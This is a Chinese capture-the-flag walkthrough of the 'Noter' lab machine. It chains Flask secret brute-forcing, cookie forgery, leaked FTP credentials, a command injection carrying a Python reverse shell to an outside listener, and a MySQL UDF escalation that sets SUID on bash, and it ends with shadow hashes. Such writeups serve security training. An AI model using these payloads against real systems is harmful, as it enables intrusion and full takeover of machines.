基本信息

端口扫描

21,22,5000:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV 10.10.11.160
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-11 13:19 CST
Nmap scan report for 10.10.11.160
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.40 seconds

5000

Flask写的note app:

Noter

注册登录,得到的cookie看起来像JWT,实际上根据flask可以知道是flask sign:

1
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWlhbyJ9.YntLnA.yERWWVo5V4fLXiftDggYNLqSksI

Flask-Unsign

爆破出来密钥:

1
2
3
4
5
$ flask-unsign --unsign --cookie "eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoibWlhbyJ9.YntLnA.yERWWVo5V4fLXiftDggYNLqSksI" --wordlist ~/Tools/dict/rockyou.txt --no-literal-eval
[*] Session decodes to: {'logged_in': True, 'username': 'miao'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 17152 attempts
b'secret123'

username

根据密钥可以伪造任意cookie,但用户名并不是常规的admin之类,需要爆破一下,登录那里简单测试一下就可以知道能够枚举用户名,用户名存在和不存在的响应不同:

用户名字典用seclist里的cirt-default-usernames.txt就可以:

blue

生成blue的cookie,替换登录:

1
2
$ flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123'
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.YntP4g.ljsRVa4c5NTGAVwcUYGlpihL1Tc

notes

blue的notes里得到ftp密码:

1
Your username is 'blue' and the password is 'blue@Noter!'.

FTP

使用得到的账号密码登录ftp,可以得到一个pdf文件:

policy.pdf

是密码策略相关,里面给出了默认密码的生成规则:

可以根据该规则得出ftp_admin的默认密码:

1
ftp_admin@Noter!

ftp_admin

使用ftp_admin账号密码登录,可以得到两个备份文件:

app_backup

对比两个版本文件差异,可以得到数据库账号密码信息:

1
2
root
Nildogg36

命令注入

另外进行代码审计也可以很容易发现export_note_remote存在命令注入, 请求用户指定的url,响应信息拼接到command里

1
2
3
4
5
6
url = request.form['url']

r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

export_note_remote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
if check_VIP(session['username']):
try:
url = request.form['url']

status, error = parse_url(url)

if (status is True) and (error is None):
try:
r = pyrequest.get(url,allow_redirects=True)
rand_int = random.randint(1,10000)
command = f"node misc/md-to-pdf.js $'{r.text.strip()}' {rand_int}"
subprocess.run(command, shell=True, executable="/bin/bash")

if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

else:
return render_template('export_note.html', error="Error occured while exporting the !")

except Exception as e:
return render_template('export_note.html', error="Error occured!")


else:
return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")

except Exception as e:
return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

else:
abort(403)

命令注入 & user flag

就是根据分析结果那样,提交url,控制响应内容进行命令注入,getshell:

shell.md

1
';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' # '

user flag

svc用户目录得到user.txt:

UDF提权 & root flag

写公钥进去后ssh登录,方便后续操作,因为前面得到有数据库账号密码还没有使用到,这里很容易想到相关的UDF:

  • MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2) - Linux local Exploit
    https://www.exploit-db.com/exploits/1518

    so路径要改成对应的,另外因为这个udf没回显,所以要通过文件查看执行结果,方便操作就直接bash加suid了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

show variables like '%plugin%';
/usr/lib/x86_64-linux-gnu/mariadb19/plugin/

create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('id> /tmp/out; chown svc /tmp/out');

select do_system('chmod u+s /bin/bash');

root flag

shadow

1
2
3
4
root:$6$09RSjU3jIh/2JW1u$8jlcYzW5Oyzgh/TrlTPX5Wq2HMTA6zUooij/9j0.NIttTYp4x0h6wmq8chrcdtvNpZzHlHzwsI8GesOKI3NYn.:18991:0:99999:7:::
svc:$6$gTM.AIsgDue4r5AQ$wUBfUtg7/svAcRTnsFv51KuMpeNP0cL6vqIR3608pzd0YsNNe0oxMwvY7iAGMCgMp7viiBLUwUaAZx4r6ljME/:18988:0:99999:7:::
ftp_admin:$6$gQyFQc6w7p83bBwZ$6zYRlPKPBp6GMgUI5mbojxOvyup7hqrQ5hfscnLkwvIimC6qO5a0taiju1vYQPSnzf.mO5TgCdo.5RiO9Gu7J0:19114:0:99999:7:::
blue:$6$pNud9u/1PdD8qPYi$cSe5FPCRGH5xjUiEMJ5tXSclSrWSz7gimtR2IcXiiVk0xNfSACcVgU3C4z69RnZHEQKrNO/hIiUQdVTqlxb29.:19114:0:99999:7:::

参考资料